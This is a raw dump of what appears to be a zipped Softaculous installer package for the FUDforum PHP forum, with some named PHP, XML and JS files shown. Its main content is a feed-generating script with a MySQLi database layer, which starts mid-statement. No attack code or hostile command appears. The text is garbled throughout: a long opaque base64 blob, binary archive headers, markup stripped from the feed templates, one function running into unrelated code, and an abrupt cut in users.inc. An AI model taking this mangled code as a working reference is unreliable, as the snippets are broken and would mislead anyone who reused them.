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 77wYvchuo0==PKl0],Û _upgrade.phpnu[PKl0]} install.xmlnu[ {{site_set}} {{site_name}} {{site_desc}} {{ad_act}} {{ad_name}} {{ad_pass}} __ad_pass {{ad_email}} __email_address mysql fuddata install.php upgrade.php uninstall.php fudforum_archive PKl0]safeed.phpnu[report_mode = MYSQLI_REPORT_OFF; if (substr($GLOBALS['DBHOST'], 0, 1) == ':') { // Socket connection. $socket = substr($GLOBALS['DBHOST'], 1); $GLOBALS['DBHOST'] = 'localhost'; } else { $socket = NULL; } if ($GLOBALS['FUD_OPT_1'] & 256 && $socket == NULL && version_compare(PHP_VERSION, '5.3.0', '>=')) { // Enable pconnect for PHP 5.3+. $GLOBALS['DBHOST'] = 'p:'. $GLOBALS['DBHOST']; } db::$db = new mysqli($GLOBALS['DBHOST'], $GLOBALS['DBHOST_USER'], $GLOBALS['DBHOST_PASSWORD'], $GLOBALS['DBHOST_DBNAME'], NULL, $socket); if (mysqli_connect_errno()) { fud_sql_error_handler('Failed to establish database connection', 'MySQLi says: '. mysqli_connect_error(), mysqli_connect_errno(), ''); } db::$db->set_charset('utf8'); /* Connect to slave, if specified. */ if (!empty($GLOBALS['DBHOST_SLAVE_HOST']) && !$GLOBALS['is_post']) { db::$slave = new mysqli($GLOBALS['DBHOST'], $GLOBALS['DBHOST_USER'], $GLOBALS['DBHOST_PASSWORD'], $GLOBALS['DBHOST_DBNAME'], NULL, $socket); if (mysqli_connect_errno()) { fud_logerror('Unable to init SlaveDB, fallback to MasterDB: '. mysqli_connect_error(), 'sql_errors'); } else { db::$db->set_charset('utf8'); } } define('__dbtype__', 'mysql'); } function db_close() { db::$db->close(); } function db_version() { if (!defined('__FUD_SQL_VERSION__')) { $ver = q_singleval('SELECT VERSION()'); define('__FUD_SQL_VERSION__', $ver); } return __FUD_SQL_VERSION__; } function db_lock($tables) { if (!empty($GLOBALS['__DB_INC_INTERNALS__']['db_locked'])) { fud_sql_error_handler('Recursive Lock', 'internal', 'internal', db_version()); } else { q('LOCK TABLES '. $tables); $GLOBALS['__DB_INC_INTERNALS__']['db_locked'] = 1; } } function db_unlock() { if (empty($GLOBALS['__DB_INC_INTERNALS__']['db_locked'])) { unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); fud_sql_error_handler('DB_UNLOCK: no previous lock established', 'internal', 'internal', db_version()); } if (--$GLOBALS['__DB_INC_INTERNALS__']['db_locked'] < 0) { unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); fud_sql_error_handler('DB_UNLOCK: unlock overcalled', 'internal', 'internal', db_version()); } unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); q('UNLOCK TABLES'); } function db_locked() { return isset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); } function db_affected() { return db::$db->affected_rows; } function uq($query) { $db = db::$db; $r = $db->real_query($query); if ($db->error) { fud_sql_error_handler($query, $db->error, $db->errno, db_version()); } return $db->use_result(); } if (!defined('fud_query_stats')) { function q($query) { // Assume master DB, route SELECT's to slave DB. // Force master if DB is locked (in transaction) or 'SELECT /* USE MASTER */'. $db = db::$db; if (!empty(db::$slave) && !db_locked() && !strncasecmp($query, 'SELECT', 6) && strncasecmp($query, 'SELECT /* USE MASTER */', 23)) { $db = db::$slave; } $r = $db->query($query); if ($db->error) { fud_sql_error_handler($query, $db->error, $db->errno, db_version()); } return $r; } } else { function q($query) { if (!isset($GLOBALS['__DB_INC_INTERNALS__']['query_count'])) { $GLOBALS['__DB_INC_INTERNALS__']['query_count'] = 1; } else { ++$GLOBALS['__DB_INC_INTERNALS__']['query_count']; } if (!isset($GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'])) { $GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'] = 0; } // Assume master DB, route SELECT's to slave DB. // Force master if DB is locked (in transaction) or 'SELECT /* USE MASTER */'. $db = db::$db; if (!empty(db::$slave) && !db_locked() && !strncasecmp($query, 'SELECT', 6) && strncasecmp($query, 'SELECT /* USE MASTER */', 23)) { $db = db::$slave; } $s = microtime(true); $result = $db->query($query); if ($db->error) { fud_sql_error_handler($query, $db->error, $db->errno, db_version()); } $e = microtime(true); $GLOBALS['__DB_INC_INTERNALS__']['last_time'] = ($e - $s); $GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'] += $GLOBALS['__DB_INC_INTERNALS__']['last_time']; echo '
Query #'. $GLOBALS['__DB_INC_INTERNALS__']['query_count'] .''; echo ': time taken: '. number_format($GLOBALS['__DB_INC_INTERNALS__']['last_time'], 4) .''; echo ', affected rows: '. db_affected() .''; echo ', total sql time: '. number_format($GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'], 4) .''; echo '
'. preg_replace('!\s+!', ' ', htmlspecialchars($query)) .'
'; return $result; } } function db_rowobj($result) { return $result->fetch_object(); } function db_rowarr($result) { return $result->fetch_row(); } function q_singleval($query) { $r = q($query); if (($result = $r->fetch_row()) !== false && isset($result)) { return isset($result) ? $result[0] : ''; } } function q_limit($query, $limit, $off=0) { return $query .' LIMIT '. $limit .' OFFSET '. $off; } function q_concat($arg) { // MySQL badly breaks the SQL standard by redefining || to mean OR. $tmp = func_get_args(); return 'CONCAT('. implode(',', $tmp) .')'; } function q_rownum() { q('SET @seq=0'); // For simulating rownum. return '(@seq:=@seq+1)'; } function q_bitand($fieldLeft, $fieldRight) { return $fieldLeft .' & '. $fieldRight; } function q_bitor($fieldLeft, $fieldRight) { return '('. $fieldLeft .' | '. $fieldRight .')'; } function q_bitnot($bitField) { return '~'. $bitField; } function db_saq($q) { $r = q($q); return $r->fetch_row() ; } function db_sab($q) { $r = q($q); return $r->fetch_object(); } function db_qid($q) { q($q); return db::$db->insert_id; } function db_arr_assoc($q) { $r = q($q); return $r->fetch_array(MYSQLI_ASSOC); } function db_fetch_array($r) { return is_object($r) ? $r->fetch_array(MYSQLI_ASSOC) : null; } function db_li($q, &$ef, $li=0) { $r = db::$db->query($q); if ($r) { return ($li ? db::$db->insert_id : $r); } /* Duplicate key. */ if (db::$db->errno == 1062) { $ef = ltrim(strrchr(db::$db->error, ' ')); return null; } else { fud_sql_error_handler($q, db::$db->error, db::$db->errno, db_version()); } } function ins_m($tbl, $flds, $types, $vals) { q('INSERT IGNORE INTO '. $tbl .' ('. $flds .') VALUES ('. implode('),(', $vals) .')'); } function db_all($q) { $f = array(); $c = uq($q); while ($r = $c->fetch_row()) { $f[] = $r[0]; } return $f; } function _esc($s) { return '\''. db::$db->real_escape_string($s ?? '') .'\''; }function read_msg_body($off, $len, $id) { if ($off == -1) { // Fetch from DB and return. return q_singleval('SELECT data FROM fud30_msg_store WHERE id='. $id); } if (!$len) { // Empty message. return; } // Open file if it's not already open. if (!isset($GLOBALS['__MSG_FP__'][$id])) { $GLOBALS['__MSG_FP__'][$id] = fopen($GLOBALS['MSG_STORE_DIR'] .'msg_'. $id, 'rb'); } // Read from file. fseek($GLOBALS['__MSG_FP__'][$id], $off); return fread($GLOBALS['__MSG_FP__'][$id], $len); }$GLOBALS['__revfs'] = array('"', '<', '>', '&'); $GLOBALS['__revfd'] = array('"', '<', '>', '&'); function reverse_fmt($data) { $s = $d = array(); if (empty($data)) return ''; foreach ($GLOBALS['__revfs'] as $k => $v) { if (strpos($data, $v) !== false) { $s[] = $v; $d[] = $GLOBALS['__revfd'][$k]; } } return $s ? str_replace($s, $d, $data) : $data; } if (!($FUD_OPT_2 & 16777216) || (!($FUD_OPT_2 & 67108864) && $mode == 'u')) { fud_use('cookies.inc'); fud_use('users.inc'); std_error('disabled'); } if ($FUD_OPT_2 & 16384) { ob_start('ob_gzhandler', (int)$PHP_COMPRESSION_LEVEL); } function sp($data) { return ''; } function email_format($data) { return str_replace(array('.', '@'), array(' dot ', ' at '), $data); } function multi_id($data) { $out = array(); foreach (explode(',', (string)$data) as $v) { $out[] = (int) $v; } return implode(',', $out); } $enc_src = array('
', '&', "\r", ' ', '<', '>', chr(0)); $enc_dst = array('
', '&', ' ', ' ', '<', '>', '�'); function fud_xml_encode($str) { return str_replace($GLOBALS['enc_src'], $GLOBALS['enc_dst'], $str); } function feed_cache_cleanup() { $cache_files = glob($GLOBALS['FORUM_SETTINGS_PATH'].'feed_cache_*'); if (is_array($cache_files)) { foreach ($cache_files as $v) { if (!is_file($v)) continue; // Skip directories and invalid entries. $filemtime = filemtime($v); if ($filemtime && $filemtime + $GLOBALS['FEED_CACHE_AGE'] < __request_timestamp__) { @unlink($v); } } } } /** Change relative smiley URLs to full ones. */ function smiley_full(&$data) { if (strpos($data, 'id.'&th='.$r->thread_id.'#msg_'.$r->id.'" />'; $rdf_message_attachments = ''; if ($r->attach_cnt && $r->attach_cache) { if (($al = unserialize($r->attach_cache))) { foreach ($al as $a) { $rdf_message_attachments .= ' '.sp($a[1]).' '.$a[0].' '.$a[2].' '.$a[3].' '; } } } $rdf_message_polls = ''; if ($r->poll_name) { if ($r->poll_cache) { if (($pc = unserialize($r->poll_cache))) { foreach ($pc as $o) { $rdf_message_polls .= ' '.sp($o[0]).' '.$o[1].' '; } } } } $feed_data .= ($basic ? ' '.htmlspecialchars($r->subject).' [[softurl]]/index.phpindex.php?t=rview&goto='.$r->id.'&th='.$r->thread_id.'#msg_'.$r->id.' '.sp($body).' '.$r->alias.' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 ' : ' '.sp($r->subject).' '.$r->thread_id.' '.sp($r->th_subject).' '.$r->id.' '.$r->reply_to.' '.$r->reply_subject.' '.$r->forum_id.' '.sp($r->frm_name).' '.sp($r->cat_name).' '.sp($r->alias).' '.$r->poster_id.' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 '.str_replace("\n", "", sp($body)).' '.($rdf_message_attachments ? ' '.$rdf_message_attachments.' ' : '' ) .' '.($rdf_message_polls ? ' '.sp($r->poll_name).''.$r->total_votes.' '.$rdf_message_polls.' ' : '' ) .' ' ) ; } if ($format == 'rss' ) $feed_data .= ' '.htmlspecialchars($r->subject).' [[softurl]]/index.phpindex.php?t=rview&goto='.$r->id.'&th='.$r->thread_id.'#msg_'.$r->id.' '.$r->alias.' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 '.sp($body).' '; if ($format == 'atom') $feed_data .= ' '.htmlspecialchars($r->subject).' [[softurl]]/index.phpindex.php?t=rview&goto='.$r->id.'&th='.$r->thread_id.'#msg_'.$r->id.' '.$r->alias.' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 '.($r->update_stamp ? ''.gmdate('Y-m-d\TH:i:s', $r->update_stamp).'-00:00' : '' ) .' '.sp($body).' '; } if ($res) { if ($format == 'rdf') echo ' '.($basic ? ' ' : ' ' ) .' '.$FORUM_TITLE.' - RDF feed [[softurl]]/index.php '.sp($GLOBALS['FORUM_DESCR']).' '.($basic && $feed_header ? ' '.$feed_header.' ' : '' ) .' '.$feed_data.' '; if ($format == 'rss') echo ' '.$FORUM_TITLE.' - RSS2 feed [[softurl]]/index.php '.sp($GLOBALS['FORUM_DESCR']).' en '.gmdate('Y-m-d\TH:i:s', __request_timestamp__).'-00:00 FUDforum '.$FORUM_VERSION.' '.$feed_data.' '; if ($format == 'atom') echo ' '.$FORUM_TITLE.' - ATOM feed '.sp($GLOBALS['FORUM_DESCR']).' '.gmdate('Y-m-d\TH:i:s', __request_timestamp__).'-00:00 [[softurl]]/index.php FUDforum '.$feed_data.' '; } unset($c); break; case 't': /* check for various supported limits * cat - category * frm - forum * id - topic id * ds - start date * de - date end * o - offset * n - number of rows to get * l - latest */ $lmt = ' t.moved_to=0 AND m.apr=1'; if (isset($_GET['cat'])) { $lmt .= ' AND f.cat_id IN('. multi_id($_GET['cat']) .')'; } if (isset($_GET['frm'])) { $lmt .= ' AND t.forum_id IN('. multi_id($_GET['frm']) .')'; } if (isset($_GET['id'])) { $lmt .= ' AND t.id IN ('. multi_id($_GET['id']) .')'; } if (isset($_GET['ds'])) { $lmt .= ' AND t.last_post_date >='. (int)$_GET['ds']; } if (isset($_GET['de'])) { $lmt .= ' AND t.last_post_date <='. (int)$_GET['de']; } /* This is an optimization so that the forum does not need to * go through the entire message db to fetch latest messages. * So, instead we set an arbitrary search limit if 14 days. */ if (isset($_GET['l']) && $lmt == ' t.moved_to=0 AND m.apr=1') { $lmt .= ' AND t.last_post_date >='. (__request_timestamp__ - 86400 * 14); } if ($FUD_OPT_2 & 33554432) { // FEED_AUTH if ($FEED_AUTH_ID) { $join = ' INNER JOIN fud30_group_cache g1 ON g1.user_id=2147483647 AND g1.resource_id=f.id LEFT JOIN fud30_group_cache g2 ON g2.user_id='. $FEED_AUTH_ID .' AND g2.resource_id=f.id LEFT JOIN fud30_mod mm ON mm.forum_id=f.id AND mm.user_id='. $FEED_AUTH_ID .' '; $lmt .= ' AND (mm.id IS NOT NULL OR '. q_bitand('COALESCE(g2.group_cache_opt, g1.group_cache_opt)', 2) .' > 0)'; } else { $join = ' INNER JOIN fud30_group_cache g1 ON g1.user_id=0 AND g1.resource_id=f.id '; $lmt .= ' AND '. q_bitand('g1.group_cache_opt', 2) .' > 0'; } } $c = q(q_limit('SELECT t.*, f.name AS frm_name, c.name AS cat_name, m.subject, m.post_stamp, m.poster_id, m.foff, m.length, m.file_id, m2.subject AS lp_subject, u.alias FROM fud30_thread t INNER JOIN fud30_forum f ON t.forum_id=f.id INNER JOIN fud30_cat c ON c.id=f.cat_id INNER JOIN fud30_msg m ON t.root_msg_id=m.id INNER JOIN fud30_msg m2 ON t.last_post_id=m2.id LEFT JOIN fud30_users u ON m.poster_id=u.id '. $join .' WHERE '. $lmt . (isset($_GET['l']) ? ' ORDER BY m.post_stamp DESC' : ''), $limit, $offset)); $data = ''; while ($r = db_rowobj($c)) { if (!$res) { header('Content-Type: application/'.$format.'+xml'); $res = 1; } if ($r->root_msg_id == $r->last_post_id) { $r->last_post_id = $r->lp_subject = $r->last_post_date = ''; } $body = read_msg_body($r->foff, $r->length, $r->file_id); smiley_full($body); if ($format == 'rdf') { $feed_header .= ''; $feed_data .= ($basic ? ' '.htmlspecialchars($r->subject).' [[softurl]]/index.phpindex.php?t=rview&th='.$r->id.' '.sp($body).' '.sp($r->frm_name).' '.sp($r->alias).' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 ' : ' '.$r->id.' '.sp($r->subject).' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 '.$r->forum_id.' '.sp($r->frm_name).' '.sp($r->cat_name).' '.sp($r->alias).' '.$r->poster_id.' '.$r->replies.' '.$r->views.' '.($r->last_post_id ? ''.$r->last_post_id.'' : '' ) .' '.($r->lp_subject ? ''.sp($r->lp_subject).'' : '' ) .' '.($r->last_post_date ? ''.gmdate('Y-m-d\TH:i:s', $r->last_post_date).'-00:00' : '' ) .' '.str_replace("\n", "", sp($body)).' ' ) ; } if ($format == 'rss' ) $feed_data .= ' '.htmlspecialchars($r->subject).' [[softurl]]/index.phpindex.php?t=rview&th='.$r->id.' '.sp($r->alias).' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 '.sp($body).' '; if ($format == 'atom') $feed_data .= ' '.htmlspecialchars($r->subject).' '.($r->tdescr ? ''.sp($r->tdescr).'' : '' ) .' [[softurl]]/index.phpindex.php?t=rview&th='.$r->id.' '.sp($r->alias).' '.gmdate('Y-m-d\TH:i:s', $r->post_stamp).'-00:00 '.($r->last_post_date ? ''.gmdate('Y-m-d\TH:i:s', $r->last_post_date).'-00:00' : '' ) .' '.sp($body).' '; } if ($res) { if ($format == 'rdf') echo ' '.($basic ? ' ' : ' ' ) .' '.$FORUM_TITLE.' - RDF feed [[softurl]]/index.php '.sp($GLOBALS['FORUM_DESCR']).' '.($basic && $feed_header ? ' '.$feed_header.' ' : '' ) .' '.$feed_data.' '; if ($format == 'rss') echo ' '.$FORUM_TITLE.' - RSS2 feed [[softurl]]/index.php '.sp($GLOBALS['FORUM_DESCR']).' en '.gmdate('Y-m-d\TH:i:s', __request_timestamp__).'-00:00 FUDforum '.$FORUM_VERSION.' '.$feed_data.' '; if ($format == 'atom') echo ' '.$FORUM_TITLE.' - ATOM feed '.sp($GLOBALS['FORUM_DESCR']).' '.gmdate('Y-m-d\TH:i:s', __request_timestamp__).'-00:00 [[softurl]]/index.php FUDforum '.$feed_data.' '; } unset($c); break; case 'u': /* check for various supported limits * pc - order by post count * rd - order by registration date * cl - show only currently online users * l - limit to 'l' rows * o - offset * n - max rows to fetch */ $lmt .= ' u.id>1 '; if (isset($_GET['pc'])) { $order_by = 'u.posted_msg_count'; } else if (isset($_GET['rd'])) { $order_by = 'u.join_date'; } else { $order_by = 'u.alias'; } if (isset($_GET['cl'])) { $lmt .= ' AND u.last_visit>='. (__request_timestamp__ - $LOGEDIN_TIMEOUT * 60); } if ($FUD_OPT_2 & 33554432) { // FEED_AUTH if ($FEED_AUTH_ID) { $join = ' INNER JOIN fud30_group_cache g1 ON g1.user_id=2147483647 AND g1.resource_id=f.id LEFT JOIN fud30_group_cache g2 ON g2.user_id='. $FEED_AUTH_ID .' AND g2.resource_id=f.id LEFT JOIN fud30_mod mm ON mm.forum_id=f.id AND mm.user_id='. $FEED_AUTH_ID .' '; $perms = ', (CASE WHEN (mm.id IS NOT NULL OR '. q_bitand('COALESCE(g2.group_cache_opt, g1.group_cache_opt)', 2) .' > 0) THEN 1 ELSE 0 END) AS can_show_msg'; } else { $join = ' INNER JOIN fud30_group_cache g1 ON g1.user_id=0 AND g1.resource_id=f.id '; $perms = ', '. q_bitand('g1.group_cache_opt', 2) .' > 0 AS can_show_msg'; } } else { $perms = ', 1 AS can_show_msg'; } $c = q(q_limit('SELECT u.id, u.alias, u.join_date, u.posted_msg_count, u.avatar_loc, u.users_opt, u.home_page, u.birthday, u.last_visit, u.icq, u.facebook, u.yahoo, u.jabber, u.google, u.skype, u.twitter, u.name, u.email, m.id AS msg_id, m.subject, m.thread_id, t.forum_id, f.name AS frm_name, c.name AS cat_name '. $perms .' FROM fud30_users u LEFT JOIN fud30_msg m ON m.id=u.u_last_post_id LEFT JOIN fud30_thread t ON m.thread_id=t.id LEFT JOIN fud30_forum f ON f.id=t.forum_id LEFT JOIN fud30_cat c ON c.id=f.cat_id '. $join .' WHERE '. $lmt .' ORDER BY '. $order_by .' DESC', $limit, $offset)); while ($r = db_rowobj($c)) { if (!$res) { header('Content-Type: application/'.$format.'+xml'); $res = 1; } if ($r->birthday) { $y = substr($r->birthday, 4); $m = substr($r->birthday, 0, 2); $d = substr($r->birthday, 2, 2); $r->birthday = gmdate('r', gmmktime(1, 1, 1, $m, $d, $y)); } else { $r->birthday = ''; } $r->last_visit = ($r->last_visit && $r->last_visit > 631155661) ? $r->last_visit : ''; $r->join_date = ($r->join_date && $r->join_date > 631155661) ? $r->join_date : ''; if ($r->users_opt >= 16777216) { $r->avatar_loc = ''; } if ($format == 'rdf' ) $feed_data .= ' '.$r->id.' '.sp($r->alias).' '.sp($r->name).' '.sp(email_format($r->email)).' '.$r->posted_msg_count.' '.sp($r->avatar_loc).' '.sp(htmlspecialchars($r->homepage)).' '.$r->birthday.' '.($r->last_visit ? ''.gmdate('Y-m-d\TH:i:s', $r->last_visit).'' : '' ) .' '.($r->join_date ? ''.gmdate('Y-m-d\TH:i:s', $r->join_date).'' : '' ) .' '.$r->icq.' '.sp($r->facebook).' '.sp($r->yahoo).' '.sp($r->jabber).' '.sp($r->google).' '.sp($r->skype).' '.sp($r->twitter).' '.($r->subject && $r->can_show_msg ? ' '.sp($r->subject).' '.$r->msg_id.' '.$r->thread_id.' '.$r->forum_id.' '.sp($r->frm_name).' '.sp($r->cat_name).' ' : '' ) .' '; if ($format == 'rss' ) $feed_data .= ' '.sp($r->alias).' [[softurl]]/index.phpindex.php?t=usrinfo&id='.$r->id.' '.sp($r->name).' '.($r->last_visit ? ''.gmdate('Y-m-d\TH:i:s', $r->last_visit).'' : '' ) .' '; if ($format == 'atom') $feed_data .= ' '.sp($r->alias).' [[softurl]]/index.phpindex.php?t=usrinfo&id='.$r->id.' '.sp($r->name).' '.sp(email_format($r->email)).' '.($r->homepage ? ''.sp(htmlspecialchars($r->homepage)).'' : '' ) .' '.($r->last_visit ? ''.gmdate('Y-m-d\TH:i:s', $r->last_visit).'' : '' ) .' '.($r->join_date ? ''.gmdate('Y-m-d\TH:i:s', $r->join_date).'' : '' ) .' '; } if ($res) { if ($format == 'rdf') echo ' '.($basic ? ' ' : ' ' ) .' '.$FORUM_TITLE.' - RDF feed [[softurl]]/index.php '.sp($GLOBALS['FORUM_DESCR']).' '.($basic && $feed_header ? ' '.$feed_header.' ' : '' ) .' '.$feed_data.' '; if ($format == 'rss') echo ' '.$FORUM_TITLE.' - RSS2 feed [[softurl]]/index.php '.sp($GLOBALS['FORUM_DESCR']).' en '.gmdate('Y-m-d\TH:i:s', __request_timestamp__).'-00:00 FUDforum '.$FORUM_VERSION.' '.$feed_data.' '; if ($format == 'atom') echo ' '.$FORUM_TITLE.' - ATOM feed '.sp($GLOBALS['FORUM_DESCR']).' '.gmdate('Y-m-d\TH:i:s', __request_timestamp__).'-00:00 [[softurl]]/index.php FUDforum '.$feed_data.' '; } unset($c); break; } // switch ($mode) if ($res) { if ($FEED_CACHE_AGE) { echo ($out = ob_get_clean()); $fp = fopen($file_name, 'w'); flock($fp, LOCK_EX); fwrite($fp, $out); fclose($fp); } } else { exit(' No matching data found. '); } ?> PKl0]{Ӆ~~ _upgrade.xmlnu[ upgrade.php hidden GLOBALS.php adm/GLOBALS.php theme/default/help_index.php PKl0]g install.jsnu[////////////////////////////////////////////////////////////// // install.js // Checks the installation form of the software being // installed by SOFTACULOUS // NOTE: 1) Only formcheck() function will be called. // 2) A software Vendor can use the same name for every // field to be checked as in install.xml . It can be // called using $('fieldname').value or any property // 3) Must Return true or false // ---------------------------------------------------------- // Please Read the Terms of use at http://www.softaculous.com // ---------------------------------------------------------- // (c)Softaculous Inc. ////////////////////////////////////////////////////////////// function formcheck(){ //Check the Admin Email if(window.check_punycode){ if(!check_punycode($('admin_email').value)){ alert('{{err_ademail}}'); return false; } return true; } return true; };PKl0]^pVpVdefault/users.incnu[id != 1 && (!$GLOBALS['is_post'] || sq_check(1, $u->sq, $u->id, $u->ses_id))) { /* Store the last visit date for registered user. */ q('UPDATE fud30_users SET last_visit='. __request_timestamp__ .' WHERE id='. $u->id); if ($GLOBALS['FUD_OPT_3'] & 1) { // SESSION_COOKIES setcookie($GLOBALS['COOKIE_NAME'], $u->ses_id, 0, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } if (!$u->sq || __request_timestamp__ - $u->last_visit > 180) { // 3 min. $u->sq = $sq = regen_sq($u->id); if (!$GLOBALS['is_post']) { $_GET['SQ'] = $sq; } else { $_POST['SQ'] = $sq; } } else { $sq =& $u->sq; } } // Prevent spiders from doing funny stuff. if (($u->users_opt & 1073741824) && $GLOBALS['is_post']) { // is_spider die('Bad bot!'); } /* Disable caching for registered users and POST requests. */ if ($GLOBALS['is_post'] || $u->id > 1) { header('Cache-Control: no-store, private, must-revalidate, proxy-revalidate, post-check=0, pre-check=0, max-age=0, s-maxage=0'); header('Expires: Mon, 21 Jan 1980 06:01:01 GMT'); header('Pragma: no-cache'); } if ($u->data) { $u->data = unserialize($u->data); } $uo = $u->users_opt = (int)$u->users_opt; /* This should allow path_info & normal themes to work properly within 1 forum. */ if ($o2 & 32768 && !($u->theme_opt & 4)) { $o2 ^= 32768; } /* Handle PM disabling for users. */ if (!($GLOBALS['is_a'] = $uo & 1048576) && $uo & 33554432) { $o1 = $o1 &~ 1024; } /* Set timezone. */ if (empty($u->time_zone) || @date_default_timezone_set($u->time_zone) === FALSE) { date_default_timezone_set($GLOBALS['SERVER_TZ']); } /* Set locale. */ $GLOBALS['good_locale'] = setlocale(LC_ALL, $u->locale); /* Call inituser plugins. */ if (defined('plugins')) { plugin_call_hook('INITUSER', $u); } /* View format for threads & messages. */ define('d_thread_view', $uo & 256 ? 'msg' : 'tree'); define('t_thread_view', $uo & 128 ? 'thread' : 'threadt'); if ($GLOBALS['t'] === 0) { 